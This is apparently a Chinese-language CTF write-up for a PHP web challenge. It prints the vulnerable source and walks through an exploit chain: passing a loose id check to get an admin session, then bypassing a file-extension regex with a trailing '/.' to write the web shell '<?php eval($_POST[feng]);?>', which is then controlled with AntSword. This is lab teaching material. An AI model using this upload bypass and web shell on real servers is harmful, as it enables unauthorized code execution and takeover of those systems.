WP
进入环境,按照提示进入项目管理页面,点击view-source得到源码:
<?php
session_start();
if (!isset($_GET[page])) {
show_source(__FILE__);
die();
}
if (isset($_GET[page]) && $_GET[page] != 'index.php') {
include('flag.php');
}else {
header('Location: ?page=flag.php');
}
?>
<?php
if ($_SESSION['admin']) {
$con = $_POST['con'];
$file = $_POST['file'];
$filename = "backup/".$file;
if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
die("Bad file extension");
}else{
chdir('uploaded');
$f = fopen($filename, 'w');
fwrite($f, $con);
fclose($f);
}
}
?>
<?php
if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
include 'config.php';
$id = mysql_real_escape_string($_GET[id]);
$sql="select * from cetc007.user where id='$id'";
$result = mysql_query($sql);
$result = mysql_fetch_object($result);
} else {
$result = False;
die();
}
if(!$result)die("<br >something wae wrong ! <br>");
if($result){
echo "id: ".$result->id."</br>";
echo "name:".$result->user."</br>";
$_SESSION['admin'] = True;
}
?>
首先是这个点:
if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
$sql="select * from cetc007.user where id='$id'";
浮点数!==‘1’,而且id最后一位是9,并且传入的id一定要可以查到数据。
我用的是id=1a9,师傅们还有其他的姿势:
- 1\9
- 1,9
接下来就是相当于文件上传了。
$con是文件的内容,$file是文件名,而且存在正则匹配,最后是php的后缀的都不行。
因此这里最简单的就是后面加上/.,直接绕过正则匹配:
file=4321.php/.&con=<?php eval($_POST[feng]);?>
需要注意的是,我们文件的目录是在/uploaded/backup/下面。
当然也可以这样:
file=1432.php/1432.php/..&con=<?php eval($_POST[feng]);?>
然后蚁剑直接连就可以了。